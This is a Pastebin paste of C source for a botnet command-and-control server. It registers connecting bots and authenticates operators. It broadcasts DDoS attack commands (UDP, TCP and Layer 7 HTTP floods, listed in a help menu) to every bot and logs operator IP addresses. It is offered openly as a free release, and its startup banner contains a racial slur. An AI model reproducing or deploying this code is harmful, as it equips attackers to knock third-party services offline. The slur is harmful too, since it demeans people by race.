diablodagod

Chamber Server Side

Jun 11th, 2017
358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.55 KB | None | 0 0
  1. /*
  2. Server side By Jonah
  3. Free release
  4. logs the IP of the user connecting, along with a couple other cool things
  5. Small update:05/21/17
  6. If you would like to add users upon screen, compile like the following
  7. gcc server.c -o server -pthread -DUser
  8. if you just want to screen it, then do the following
  9. gcc server.c -o server -pthread
  10. Server Side Edited By Diablo
  11. *** RED VERSION ***
  12. Btw, if you plan on modifying this, at least give credit, thanks.
  13. */
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netdb.h>
  20. #include <unistd.h>
  21. #include <time.h>
  22. #include <fcntl.h>
  23. #include <sys/epoll.h>
  24. #include <errno.h>
  25. #include <pthread.h>
  26. #include <signal.h>
  27. #include <ctype.h>
  28. #define MAXFDS 1000000
  29. #define RED     "\x1b[0;31m"
  30. #define GREEN   "\x1b[0;32m"
  31. #define C_RESET   "\x1b[0m"
  32.  
  33. struct account {
  34.     char id[20];
  35.     char password[20];
  36. };
  37. static struct account accounts[25];
  38.  
  39. struct clientdata_t {
  40.         uint32_t ip;
  41.         char build[7];
  42.         char connected;
  43. } clients[MAXFDS];
  44.  
  45. struct telnetdata_t {
  46.         uint32_t ip;
  47.         int connected;
  48. } managements[MAXFDS];
  49.  
  50. ////////////////////////////////////
  51.  
  52. static volatile FILE *fileFD;
  53. static volatile int epollFD = 0;
  54. static volatile int listenFD = 0;
  55. static volatile int managesConnected = 0;
  56. static volatile int DUPESDELETED = 0;
  57.  
  58. ////////////////////////////////////
  59.  
  60.  
  61. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  62. {
  63.         int total = 0, got = 1;
  64.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  65.         return got;
  66. }
  67. void trim(char *str)
  68. {
  69.     int i;
  70.     int begin = 0;
  71.     int end = strlen(str) - 1;
  72.     while (isspace(str[begin])) begin++;
  73.     while ((end >= begin) && isspace(str[end])) end--;
  74.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  75.     str[i - begin] = '\0';
  76. }
  77.  
  78.  
  79. static int make_socket_non_blocking (int sfd)
  80. {
  81.         int flags, s;
  82.         flags = fcntl (sfd, F_GETFL, 0);
  83.         if (flags == -1)
  84.         {
  85.                 perror ("fcntl");
  86.                 return -1;
  87.         }
  88.         flags |= O_NONBLOCK;
  89.         s = fcntl (sfd, F_SETFL, flags);
  90.         if (s == -1)
  91.         {
  92.                 perror ("fcntl");
  93.                 return -1;
  94.         }
  95.         return 0;
  96. }
  97.  
  98.  
  99. static int create_and_bind (char *port)
  100. {
  101.         struct addrinfo hints;
  102.         struct addrinfo *result, *rp;
  103.         int s, sfd;
  104.         memset (&hints, 0, sizeof (struct addrinfo));
  105.         hints.ai_family = AF_UNSPEC;
  106.         hints.ai_socktype = SOCK_STREAM;
  107.         hints.ai_flags = AI_PASSIVE;
  108.         s = getaddrinfo (NULL, port, &hints, &result);
  109.         if (s != 0)
  110.         {
  111.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  112.                 return -1;
  113.         }
  114.         for (rp = result; rp != NULL; rp = rp->ai_next)
  115.         {
  116.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  117.                 if (sfd == -1) continue;
  118.                 int yes = 1;
  119.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  120.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  121.                 if (s == 0)
  122.                 {
  123.                         break;
  124.                 }
  125.                 close (sfd);
  126.         }
  127.         if (rp == NULL)
  128.         {
  129.                 fprintf (stderr, "Could not bind\n");
  130.                 return -1;
  131.         }
  132.         freeaddrinfo (result);
  133.         return sfd;
  134. }
  135. void broadcast(char *msg, int us, char *sender)
  136. {
  137.         int sendMGM = 1;
  138.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  139.         char *wot = malloc(strlen(msg) + 10);
  140.         memset(wot, 0, strlen(msg) + 10);
  141.         strcpy(wot, msg);
  142.         trim(wot);
  143.         time_t rawtime;
  144.         struct tm * timeinfo;
  145.         time(&rawtime);
  146.         timeinfo = localtime(&rawtime);
  147.         char *timestamp = asctime(timeinfo);
  148.         trim(timestamp);
  149.         int i;
  150.         for(i = 0; i < MAXFDS; i++)
  151.         {
  152.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  153.                 if(sendMGM && managements[i].connected)
  154.                 {
  155.                         send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  156.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  157.                         send(i, " ", 1, MSG_NOSIGNAL);
  158.                         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  159.                         send(i, ": ", 2, MSG_NOSIGNAL);
  160.                 }
  161.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  162.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  163.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  164.         }
  165.         free(wot);
  166. }
  167.  
  168. void *epollEventLoop(void *useless)
  169. {
  170.         struct epoll_event event;
  171.         struct epoll_event *events;
  172.         int s;
  173.         events = calloc (MAXFDS, sizeof event);
  174.         while (1)
  175.         {
  176.                 int n, i;
  177.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  178.                 for (i = 0; i < n; i++)
  179.                 {
  180.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  181.                         {
  182.                                 clients[events[i].data.fd].connected = 0;
  183.                                 close(events[i].data.fd);
  184.                                 continue;
  185.                         }
  186.                         else if (listenFD == events[i].data.fd)
  187.                         {
  188.                                 while (1)
  189.                                 {
  190.                                         struct sockaddr in_addr;
  191.                                         socklen_t in_len;
  192.                                         int infd, ipIndex;
  193.  
  194.                                         in_len = sizeof in_addr;
  195.                                         infd = accept (listenFD, &in_addr, &in_len);
  196.                                         if (infd == -1)
  197.                                         {
  198.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  199.                                                 else
  200.                                                 {
  201.                                                         perror ("accept");
  202.                                                         break;
  203.                                                 }
  204.                                         }
  205.  
  206.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  207.  
  208.                                         int dup = 0;
  209.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  210.                                         {
  211.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  212.  
  213.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  214.                                                 {
  215.                                                         dup = 1;
  216.                                                         break;
  217.                                                 }
  218.                                         }
  219.  
  220.                                         if(dup)
  221.                                         {
  222.                                                 DUPESDELETED++;
  223.                                                 continue;
  224.                                         }
  225.  
  226.                                         s = make_socket_non_blocking (infd);
  227.                                         if (s == -1) { close(infd); break; }
  228.  
  229.                                         event.data.fd = infd;
  230.                                         event.events = EPOLLIN | EPOLLET;
  231.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  232.                                         if (s == -1)
  233.                                         {
  234.                                                 perror ("epoll_ctl");
  235.                                                 close(infd);
  236.                                                 break;
  237.                                         }
  238.  
  239.                                         clients[infd].connected = 1;
  240.                                         send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  241.                                        
  242.                                 }
  243.                                 continue;
  244.                         }
  245.                         else
  246.                         {
  247.                                 int thefd = events[i].data.fd;
  248.                                 struct clientdata_t *client = &(clients[thefd]);
  249.                                 int done = 0;
  250.                                 client->connected = 1;
  251.                                 while (1)
  252.                                 {
  253.                                         ssize_t count;
  254.                                         char buf[2048];
  255.                                         memset(buf, 0, sizeof buf);
  256.  
  257.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  258.                                         {
  259.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  260.                                                 trim(buf);
  261.                                                 if(strcmp(buf, "PING") == 0) {
  262.                                                 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  263.                                                 continue; }
  264.                                                 if(strcmp(buf, "PONG") == 0) {
  265.                                                 continue; }
  266.                                                 printf("buf: \"%s\"\n", buf); }
  267.  
  268.                                         if (count == -1)
  269.                                         {
  270.                                                 if (errno != EAGAIN)
  271.                                                 {
  272.                                                         done = 1;
  273.                                                 }
  274.                                                 break;
  275.                                         }
  276.                                         else if (count == 0)
  277.                                         {
  278.                                                 done = 1;
  279.                                                 break;
  280.                                         }
  281.                                 }
  282.  
  283.                                 if (done)
  284.                                 {
  285.                                         client->connected = 0;
  286.                                         close(thefd);
  287.                                 }
  288.                         }
  289.                 }
  290.         }
  291. }
  292.  
  293. unsigned int clientsConnected()
  294. {
  295.         int i = 0, total = 0;
  296.         for(i = 0; i < MAXFDS; i++)
  297.         {
  298.                 if(!clients[i].connected) continue;
  299.                 total++;
  300.         }
  301.  
  302.         return total;
  303. }
  304.  
  305. void *titleWriter(void *sock)
  306. {
  307.         int thefd = (long int)sock;
  308.         char string[2048];
  309.         while(1)
  310.         {
  311.                 memset(string, 0, 2048);
  312.                 sprintf(string, "%c]0;Bots connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  313.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  314.  
  315.                 sleep(2);
  316.         }
  317. }
  318.  
  319. int Search_in_File(char *str)
  320. {
  321.     FILE *fp;
  322.     int line_num = 0;
  323.     int find_result = 0, find_line=0;
  324.     char temp[512];
  325.  
  326.     if((fp = fopen("login.txt", "r")) == NULL){
  327.         return(-1);
  328.     }
  329.     while(fgets(temp, 512, fp) != NULL){
  330.         if((strstr(temp, str)) != NULL){
  331.             find_result++;
  332.             find_line = line_num;
  333.         }
  334.         line_num++;
  335.     }
  336.     if(fp)
  337.         fclose(fp);
  338.  
  339.     if(find_result == 0)return 0;
  340.  
  341.     return find_line;
  342. }
  343.  void client_addr(struct sockaddr_in addr){
  344.         printf("IP:%d.%d.%d.%d\n",
  345.         addr.sin_addr.s_addr & 0xFF,
  346.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  347.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  348.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  349.         FILE *logFile;
  350.         logFile = fopen("server.log", "a");
  351.         fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  352.         addr.sin_addr.s_addr & 0xFF,
  353.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  354.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  355.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  356.         fclose(logFile);
  357. }
  358.  
  359. void *telnetWorker(void *sock) {
  360.         int thefd = (long int)sock;
  361.         managesConnected++;
  362.         int find_line;
  363.         pthread_t title;
  364.         char counter[2048];
  365.         memset(counter, 0, 2048);
  366.         char buf[2048];
  367.         char* nickstring;
  368.         char usernamez[80];
  369.         char* password;
  370.         char* admin;
  371.         memset(buf, 0, sizeof buf);
  372.         char botnet[2048];
  373.         memset(botnet, 0, 2048);
  374.  
  375.         FILE *fp;
  376.         int i=0;
  377.         int c;
  378.         fp=fopen("login.txt", "r"); // format: user pass
  379.         while(!feof(fp))
  380.         {
  381.                 c=fgetc(fp);
  382.                 ++i;
  383.         }
  384.         int j=0;
  385.         rewind(fp);
  386.         while(j!=i-1)
  387.         {
  388.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  389.             ++j;
  390.         }
  391.         sprintf(botnet, ""RED"اسم المستخدم: \x1b[31m");
  392.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  393.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  394.         trim(buf);
  395.         sprintf(usernamez, buf);
  396.         nickstring = ("%s", buf);
  397.         find_line = Search_in_File(nickstring);
  398.  
  399.         if(strcmp(nickstring, accounts[find_line].id) == 0){  
  400.         sprintf(botnet, ""RED"Welcome User\r\n");
  401.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;                  
  402.         sprintf(botnet, ""RED"كلمه السر: \x1b[30m");
  403.         if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  404.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  405.         trim(buf);
  406.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  407.         memset(buf, 0, 2048);
  408.         goto fak;
  409.         }
  410.         failed:
  411.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  412.         goto end;
  413.         fak:
  414.        
  415.         pthread_create(&title, NULL, &titleWriter, sock);
  416.         if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  417.         if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  418.         char line1[80];
  419.         sprintf(line1, ""C_RESET"***"RED" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n"RED"> "C_RESET"");
  420.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  421.         pthread_create(&title, NULL, &titleWriter, sock);
  422.         managements[thefd].connected = 1;
  423.         while(fdgets(buf, sizeof buf, thefd) > 0)
  424.         {
  425.         if(strstr(buf, "BOTS"))
  426.         {  
  427.           sprintf(botnet, "Bots connected: "RED"[%d]"C_RESET"\r\nOperators connected: "RED"[%d]"C_RESET"\r\nDupes Deleted:"RED" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  428.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  429.         }
  430.          
  431.         if (strstr(buf, "HELP"))
  432.         {
  433.           sprintf(botnet, "\x1b[0;31m!* STD IP PORT TIME SIZE || STD/UDP\r\n!* TCP IP PORT TIME SIZE 32 FLAGS SIZE INTERVALS || TCP\r\n!* L7 URL GET/HEAD/POST PORT PATH TIME POWER || LAYER 7\r\n!* KT  | KILLS ATTACKS\r\n");
  434.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  435.         }
  436.        
  437.         if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  438.         {
  439.            int hax;
  440.            if(send(thefd, "Countdown Before Attack Will be Sent\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  441.            for (hax = 5; hax > 0; --hax) {
  442.            sleep(1);
  443.            sprintf(botnet, "Time: %d\r\n", hax);
  444.            if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  445.            }
  446.            if(send(thefd, "Blast Off!\r\n", 12, MSG_NOSIGNAL) == -1) goto end;
  447.         }
  448.         if (strstr(buf, "CLS"))
  449.         {
  450.           if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  451.           sprintf(line1, ""C_RESET"***"RED" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n");
  452.           if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  453.  
  454.          }
  455.          if (strstr(buf, "EXIT"))
  456.          {
  457.             goto end;
  458.          }
  459.                 trim(buf);
  460.                 sprintf(botnet, "\x1b[31m> \x1b[0m");
  461.                 if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  462.                 if(strlen(buf) == 0) continue;
  463.                 printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  464.                 FILE *logFile;
  465.                 logFile = fopen("server.log", "a");
  466.                 fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  467.                 fclose(logFile);
  468.                 broadcast(buf, thefd, usernamez);
  469.                 memset(buf, 0, 2048);
  470.         }
  471.  
  472.         end:    // cleanup dead socket
  473.                 managements[thefd].connected = 0;
  474.                 close(thefd);
  475.                 managesConnected--;
  476. }
  477.  
  478. void *telnetListener(int port)
  479. {    
  480.         int sockfd, newsockfd;
  481.         socklen_t clilen;
  482.         struct sockaddr_in serv_addr, cli_addr;
  483.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  484.         if (sockfd < 0) perror("ERROR opening socket");
  485.         bzero((char *) &serv_addr, sizeof(serv_addr));
  486.         serv_addr.sin_family = AF_INET;
  487.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  488.         serv_addr.sin_port = htons(port);
  489.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  490.         listen(sockfd,5);
  491.         clilen = sizeof(cli_addr);
  492.         while(1)
  493.  
  494.         {       printf("Connecting To Server: ");
  495.                 client_addr(cli_addr);
  496.                 FILE *logFile;
  497.                 logFile = fopen("IP.log", "a");
  498.                 fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  499.                 fclose(logFile);
  500.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  501.                 if (newsockfd < 0) perror("ERROR on accept");
  502.                 pthread_t thread;
  503.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  504.         }
  505. }
  506.  
  507. int main (int argc, char *argv[], void *sock)
  508. {
  509.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  510.  
  511.         int s, threads, port;
  512.         struct epoll_event event;
  513.         char Username[20], Password[20];
  514.         #ifdef User
  515.         printf("Please Enter Username: ");
  516.         scanf("%s",Username);
  517.         printf("Please Enter Password: ");
  518.         scanf("%s",Password);
  519.         char hahaha[80];
  520.         sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  521.         system(hahaha);
  522.         #endif
  523.         if (argc != 4)
  524.         {
  525.                 fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  526.                 exit (EXIT_FAILURE);
  527.         }
  528.         port = atoi(argv[3]);
  529.         threads = atoi(argv[2]);
  530.         if (threads > 850)
  531.         {
  532.             printf("Are You Dumb? Lower the Threads\n");
  533.             return 0;
  534.         }
  535.         else if (threads < 850)
  536.         {
  537.             printf("Good Choice in Threading\n");
  538.         }
  539.         #ifdef User
  540.         printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  541.         #endif
  542.         printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  543.  
  544.         listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  545.         if (listenFD == -1) abort();
  546.  
  547.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  548.         if (s == -1) abort();
  549.  
  550.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  551.         if (s == -1)
  552.         {
  553.                 perror ("listen");
  554.                 abort ();
  555.         }
  556.  
  557.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  558.         if (epollFD == -1)
  559.         {
  560.                 perror ("epoll_create");
  561.                 abort ();
  562.         }
  563.  
  564.         event.data.fd = listenFD;
  565.         event.events = EPOLLIN | EPOLLET;
  566.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  567.         if (s == -1)
  568.         {
  569.                 perror ("epoll_ctl");
  570.                 abort ();
  571.         }
  572.  
  573.         pthread_t thread[threads + 2];
  574.         while(threads--)
  575.         {
  576.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  577.         }
  578.  
  579.         pthread_create(&thread[0], NULL, &telnetListener, port);
  580.  
  581.         while(1)
  582.         {
  583.                 broadcast("PING", -1, "STRING");
  584.                 sleep(60);
  585.         }
  586.  
  587.         close (listenFD);
  588.  
  589.         return EXIT_SUCCESS;
  590. }
Add Comment
Please, Sign In to add comment